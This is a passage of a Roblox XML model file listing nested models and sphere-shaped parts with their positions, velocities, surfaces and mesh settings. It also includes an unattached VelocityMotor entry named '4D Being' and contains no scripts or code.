							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2059</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2059">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-27.0907917</X>
								<Y>9.57745266</Y>
								<Z>7.94743204</Z>
								<R00>-0.67723304</R00>
								<R01>-0.551191211</R01>
								<R02>0.487384409</R02>
								<R10>0.629030645</R10>
								<R11>-0.777363896</R11>
								<R12>-0.00507986406</R12>
								<R20>0.381675035</R20>
								<R21>0.303139538</R21>
								<R22>0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-14.1190071</X>
								<Y>6.58505535</Y>
								<Z>14.2670832</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2060">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2061">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-26.6034069</X>
								<Y>9.57237244</Y>
								<Z>8.82060432</Z>
								<R00>-0.67723304</R00>
								<R01>0.551191211</R01>
								<R02>-0.487384409</R02>
								<R10>0.629030645</R10>
								<R11>0.777363896</R11>
								<R12>0.00507986406</R12>
								<R20>0.381675035</R20>
								<R21>-0.303139538</R21>
								<R22>-0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-11.5425587</X>
								<Y>6.62971592</Y>
								<Z>12.8292284</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2062">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2063">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-27.1545982</X>
								<Y>8.79500866</Y>
								<Z>9.12374401</Z>
								<R00>-0.67723304</R00>
								<R01>-0.551191211</R01>
								<R02>0.487384409</R02>
								<R10>0.629030645</R10>
								<R11>-0.777363896</R11>
								<R12>-0.00507986406</R12>
								<R20>0.381675035</R20>
								<R21>0.303139538</R21>
								<R22>0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-12.8562527</X>
								<Y>8.69621658</Y>
								<Z>15.7398539</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2064">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2065">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-20.5</X>
							<Y>2.4000001</Y>
							<Z>10.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2066">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2067">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-23.5</X>
							<Y>2.4000001</Y>
							<Z>10.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2068">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-26.5</X>
							<Y>2.4000001</Y>
							<Z>10.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2069">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2070">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2071</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2071">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-26.421196</X>
								<Y>6.92134571</Y>
								<Z>5.26817751</Z>
								<R00>-0.873181283</R00>
								<R01>-0.00185666105</R01>
								<R02>0.487392157</R02>
								<R10>-0.000667837507</R10>
								<R11>-0.999987245</R11>
								<R12>-0.00500578573</R12>
								<R20>0.487395227</R20>
								<R21>-0.00469645718</R21>
								<R22>0.873168945</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-15.6429777</X>
								<Y>0.306781113</Y>
								<Z>8.68379021</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2072">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2073">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-25.9338036</X>
								<Y>6.91633987</Y>
								<Z>6.14134645</Z>
								<R00>-0.873181283</R00>
								<R01>0.00185666105</R01>
								<R02>-0.487392157</R02>
								<R10>-0.000667837507</R10>
								<R11>0.999987245</R11>
								<R12>0.00500578573</R12>
								<R20>0.487395227</R20>
								<R21>0.00469645718</R21>
								<R22>-0.873168945</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-13.0344458</X>
								<Y>0.328537703</Y>
								<Z>7.22786331</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2074">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2075">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-25.9356594</X>
								<Y>5.91635275</Y>
								<Z>6.13665009</Z>
								<R00>-0.873181283</R00>
								<R01>-0.00185666105</R01>
								<R02>0.487392157</R02>
								<R10>-0.000667837507</R10>
								<R11>-0.999987245</R11>
								<R12>-0.00500578573</R12>
								<R20>0.487395227</R20>
								<R21>-0.00469645718</R21>
								<R22>0.873168945</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-13.0509624</X>
								<Y>0.328418791</Y>
								<Z>7.25971222</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2076">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2077">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-23.5</X>
							<Y>2.4000001</Y>
							<Z>7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2078">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="VelocityMotor" referent="RBX2079">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<float name="CurrentAngle">0</float>
						<float name="DesiredAngle">0</float>
						<Ref name="Hole">null</Ref>
						<float name="MaxVelocity">0</float>
						<string name="Name">4D Being</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2080">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
